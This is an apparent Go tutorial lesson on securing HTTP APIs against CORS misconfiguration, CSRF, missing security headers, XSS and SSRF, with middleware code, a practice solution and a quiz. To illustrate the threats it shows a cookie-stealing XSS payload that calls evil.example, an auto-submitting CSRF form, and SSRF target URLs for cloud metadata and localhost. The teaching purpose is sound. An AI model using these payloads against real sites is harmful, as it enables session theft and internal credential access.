Step 19 of 24

Web security for Go APIs

Configure CORS correctly, stop CSRF, set security headers, avoid XSS and block SSRF in a Go HTTP service.

18 min 8 sections

The authentication lesson made sure you know who is calling. This lesson covers the attacks that work even when authentication is perfect, because they trick a legitimate user's browser, or your own server, into doing the attacker's work. You'll set up CORS without opening a hole, defend against cross-site request forgery, add the security headers every service should send, avoid cross-site scripting, and stop server-side request forgery when your API fetches URLs.

The same-origin policy, briefly

An origin is scheme + host + port: https://app.example.com and https://api.example.com are different origins, and so are http:// and https:// on the same host.

Browsers enforce the same-origin policy: JavaScript on one origin can send requests to another origin, but it can't read the response unless the other origin allows it. Two details trip people up:

  • The policy protects responses, not requests. A cross-origin form POST still reaches your server, with cookies attached if the cookie's SameSite setting allows. That's why CSRF exists.
  • The policy is enforced by browsers only. curl, scripts and other servers ignore it. CORS is never an access-control mechanism for your API; authentication and authorisation are.

CORS: letting your frontend read responses

If your React app at https://app.example.com calls https://api.example.com, the browser needs the API's permission to hand the response to JavaScript. Cross-Origin Resource Sharing (CORS) is that permission, expressed in response headers.

For "simple" requests (GET, or a POST with a form content type), the browser sends the request and checks Access-Control-Allow-Origin on the response. For anything else, such as a PUT, a DELETE, a JSON body or an Authorization header, the browser first sends a preflight OPTIONS request asking whether the real one is allowed:

DiagramA CORS preflight
BrowserAPI1OPTIONS /orders/422204 + Allow-Origin, Allow-Methods3DELETE /orders/42 (with cookies)4204 + Access-Control-Allow-Origin

Here's a small, correct CORS middleware:

go
type CORS struct {
	AllowedOrigins map[string]bool // exact origins, e.g. "https://app.example.com"
}

func (c CORS) Wrap(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		origin := r.Header.Get("Origin")
		w.Header().Add("Vary", "Origin") // caches must key responses by Origin

		if origin != "" && c.AllowedOrigins[origin] {
			h := w.Header()
			h.Set("Access-Control-Allow-Origin", origin)
			h.Set("Access-Control-Allow-Credentials", "true")

			if r.Method == http.MethodOptions && r.Header.Get("Access-Control-Request-Method") != "" {
				h.Set("Access-Control-Allow-Methods", "GET, POST, PUT, PATCH, DELETE")
				h.Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
				h.Set("Access-Control-Max-Age", "600") // cache the preflight for 10 minutes
				w.WriteHeader(http.StatusNoContent)
				return
			}
		}
		next.ServeHTTP(w, r)
	})
}

Wrap the whole mux with it. A Go 1.22 pattern such as "DELETE /orders/{id}" doesn't match OPTIONS, so if the middleware sat inside the route, preflights would get a 405 and never reach it.

The simplest fix is often to avoid CORS entirely: serve the frontend and the API from the same origin (for example the API under /api behind the same domain). Then there's nothing to configure.

CSRF: requests the user didn't mean to send

Cross-site request forgery works like this: a user is signed in to your app, then visits evil.example, which contains:

html
<form action="https://api.example.com/account/email" method="POST">
  <input type="hidden" name="email" value="[email protected]">
</form>
<script>document.forms[0].submit()</script>

The browser sends the POST to your API, and if the session cookie is attached, your server sees an authenticated request and changes the email. The attacker never reads the response; they don't need to.

Layer your defences:

  1. SameSite=Lax (or Strict) session cookies. The browser won't attach a Lax cookie to a cross-site POST, which stops the classic attack. The auth lesson already set this.
  2. Never change state on GET. Lax cookies are sent on top-level cross-site GET navigations, so GET /account/delete is still forgeable.
  3. Check where the request came from. Go 1.25 added http.CrossOriginProtection, which rejects unsafe-method requests (anything but GET, HEAD and OPTIONS) that the browser marks as cross-site via the Sec-Fetch-Site header, falling back to comparing Origin with Host for older browsers:
go
cop := http.NewCrossOriginProtection()
// Your SPA on another origin is trusted to make state-changing calls.
if err := cop.AddTrustedOrigin("https://app.example.com"); err != nil {
	log.Fatal(err)
}

handler := cors.Wrap(cop.Handler(mux))

Requests without any browser headers (curl, server-to-server calls) pass, because they can't carry a victim's cookies in the first place. This replaces the older pattern of CSRF tokens in hidden form fields for most APIs.

If your API authenticates with an Authorization: Bearer header instead of cookies, a forged form can't add that header, so CSRF doesn't apply. The trade-off is that the token must be stored somewhere JavaScript can read, which makes XSS more damaging.

Security headers

A few response headers switch on browser protections for free. Add them in one middleware:

go
func SecurityHeaders(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		h := w.Header()
		h.Set("Strict-Transport-Security", "max-age=63072000; includeSubDomains")
		h.Set("X-Content-Type-Options", "nosniff")
		h.Set("Referrer-Policy", "strict-origin-when-cross-origin")
		h.Set("Content-Security-Policy", "default-src 'none'; frame-ancestors 'none'")
		next.ServeHTTP(w, r)
	})
}
HeaderWhat it stops
Strict-Transport-SecurityDowngrading to plain HTTP: the browser uses HTTPS for this host for two years
X-Content-Type-Options: nosniffThe browser guessing a JSON or text response is HTML or script and executing it
Referrer-PolicyLeaking full URLs (with IDs or tokens in them) to other sites
Content-Security-PolicyLoading or running anything not explicitly allowed; frame-ancestors 'none' blocks clickjacking

The CSP above suits a pure JSON API, which never needs to load scripts or be framed. A service that serves HTML pages needs a policy listing its own script and style sources, typically starting from default-src 'self'.

Only send HSTS once the whole domain (and every subdomain, with includeSubDomains) works over HTTPS, because browsers will refuse plain HTTP for the full max-age.

XSS: output escaping

Cross-site scripting happens when user input ends up in a page as code. If a username of <script>fetch('https://evil.example/?c='+document.cookie)</script> is inserted into HTML unescaped, it runs in every visitor's browser with your origin's privileges.

For HTML, Go gives you a strong default: html/template escapes values according to where they appear (HTML text, attribute, URL, JavaScript), automatically.

go
import "html/template" // not text/template

var page = template.Must(template.New("p").Parse(`<h1>Hello, {{.Name}}</h1><a href="{{.Site}}">site</a>`))

page.Execute(w, map[string]string{
	"Name": `<script>alert(1)</script>`, // rendered as &lt;script&gt;...
	"Site": `javascript:alert(1)`,       // rendered as #ZgotmplZ, a safe placeholder
})

The rules for APIs:

  • Use html/template for any HTML. text/template escapes nothing.
  • Never wrap user input in template.HTML; that type tells the engine "already safe, don't escape".
  • JSON APIs should always send Content-Type: application/json plus nosniff, so a response can never be interpreted as HTML.
  • The frontend has the same duty: React escapes by default, and dangerouslySetInnerHTML with user data reintroduces the bug.

SSRF: when your server fetches URLs

Features like webhooks, link previews and "import from URL" make your server request a URL the user chose. Server-side request forgery abuses that: the attacker submits http://169.254.169.254/latest/meta-data/ (the cloud metadata service, which can hand out credentials) or http://localhost:6379/, and your server, which sits inside the network, fetches it for them.

Checking the URL string isn't enough. The hostname internal.evil.example can resolve to 10.0.0.5, and DNS can change between your check and the request. Check the IP address at connection time instead, with a custom dialer:

go
var errBlocked = errors.New("destination address not allowed")

func safeDialer() *net.Dialer {
	return &net.Dialer{
		Timeout: 5 * time.Second,
		Control: func(network, address string, _ syscall.RawConn) error {
			ap, err := netip.ParseAddrPort(address)
			if err != nil {
				return err
			}
			ip := ap.Addr().Unmap()
			if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() ||
				ip.IsLinkLocalMulticast() || ip.IsUnspecified() || ip.IsMulticast() {
				return errBlocked
			}
			return nil
		},
	}
}

var outbound = &http.Client{
	Timeout: 10 * time.Second,
	Transport: &http.Transport{
		Proxy:       nil, // a proxy would make the dialer check the proxy's address instead
		DialContext: safeDialer().DialContext,
	},
}

Control runs after DNS resolution, for every connection, including ones made while following redirects, so a public URL that redirects to http://127.0.0.1 is still blocked. IsLinkLocalUnicast covers 169.254.169.254. Also restrict schemes to http and https, cap the response size with io.LimitReader, and never return the raw fetched body to the user if you don't have to.

Practice

Take any Go API you've built in this roadmap (or a small one with GET /orders and DELETE /orders/{id}, using a session cookie):

  1. Add the CORS middleware allowing only http://localhost:5173. Use curl -i -X OPTIONS with Origin and Access-Control-Request-Method headers to check that an allowed origin gets the headers and https://evil.example doesn't.
  2. Add http.CrossOriginProtection trusting the same origin, and show that a DELETE with Sec-Fetch-Site: cross-site and an untrusted Origin is rejected with 403.
  3. Add the security headers middleware.
  4. Add POST /webhooks/test that takes {"url": "..."}, fetches it with the safe client and returns the status code. Show that http://127.0.0.1:8080/ and http://169.254.169.254/ are refused.
Show solution
go
func main() {
	mux := http.NewServeMux()
	mux.HandleFunc("GET /orders", listOrders)
	mux.HandleFunc("DELETE /orders/{id}", deleteOrder)
	mux.HandleFunc("POST /webhooks/test", testWebhook)

	cop := http.NewCrossOriginProtection()
	if err := cop.AddTrustedOrigin("http://localhost:5173"); err != nil {
		log.Fatal(err)
	}
	cors := CORS{AllowedOrigins: map[string]bool{"http://localhost:5173": true}}

	// Order: headers on every response, CORS answers preflights, then CSRF checks.
	handler := SecurityHeaders(cors.Wrap(cop.Handler(mux)))
	log.Fatal(http.ListenAndServe(":8080", handler))
}

func testWebhook(w http.ResponseWriter, r *http.Request) {
	var req struct{ URL string `json:"url"` }
	if err := json.NewDecoder(http.MaxBytesReader(w, r.Body, 4096)).Decode(&req); err != nil {
		http.Error(w, "bad request", http.StatusBadRequest)
		return
	}
	u, err := url.Parse(req.URL)
	if err != nil || (u.Scheme != "http" && u.Scheme != "https") {
		http.Error(w, "url must be http or https", http.StatusBadRequest)
		return
	}
	resp, err := outbound.Get(u.String())
	if err != nil {
		if errors.Is(err, errBlocked) {
			http.Error(w, "destination not allowed", http.StatusBadRequest)
			return
		}
		http.Error(w, "request failed", http.StatusBadGateway)
		return
	}
	defer resp.Body.Close()
	io.Copy(io.Discard, io.LimitReader(resp.Body, 1<<20))
	json.NewEncoder(w).Encode(map[string]int{"status": resp.StatusCode})
}
bash
# Allowed preflight: expect 204 with Access-Control-Allow-Origin
curl -i -X OPTIONS localhost:8080/orders/1 \
  -H 'Origin: http://localhost:5173' -H 'Access-Control-Request-Method: DELETE'

# Untrusted cross-site DELETE: expect 403 from CrossOriginProtection
curl -i -X DELETE localhost:8080/orders/1 \
  -H 'Origin: https://evil.example' -H 'Sec-Fetch-Site: cross-site'

# SSRF attempts: expect 400 destination not allowed
curl -s localhost:8080/webhooks/test -d '{"url":"http://127.0.0.1:8080/"}'
curl -s localhost:8080/webhooks/test -d '{"url":"http://169.254.169.254/"}'

errors.Is works because the client wraps the dialer's error in *url.Error and *net.OpError, both of which implement Unwrap. The CORS middleware sits outside CrossOriginProtection so that preflights (OPTIONS, a safe method) are answered before anything else, and real requests from the trusted origin pass both.

Key takeaways

  • The same-origin policy stops scripts reading cross-origin responses; it doesn't stop requests being sent, and it doesn't apply outside browsers.
  • CORS grants read access to specific origins. Use an exact allowlist, add Vary: Origin, and wrap the whole mux so preflights are answered.
  • Defend against CSRF with SameSite cookies, no state changes on GET, and Go 1.25's http.CrossOriginProtection.
  • Send HSTS, nosniff, a referrer policy and a CSP on every response; use html/template for HTML and never mark user input as safe.
  • For server-side fetches, block private, loopback and link-local addresses at dial time, not by inspecting the URL string.

Check yourself

Quiz

0/4 correct · 4 left

  1. 1.A CORS middleware reflects whatever Origin it receives and sets Access-Control-Allow-Credentials: true. What can an attacker do?

  2. 2.Why must the CORS middleware wrap the whole ServeMux rather than individual routes like "DELETE /orders/{id}"?

  3. 3.Which session cookie setting by itself stops a classic cross-site form POST from carrying the user's session?

  4. 4.Why check the destination IP inside the dialer's Control function instead of parsing the URL's hostname?

Finished reading?

Mark it complete to fill in your roadmap.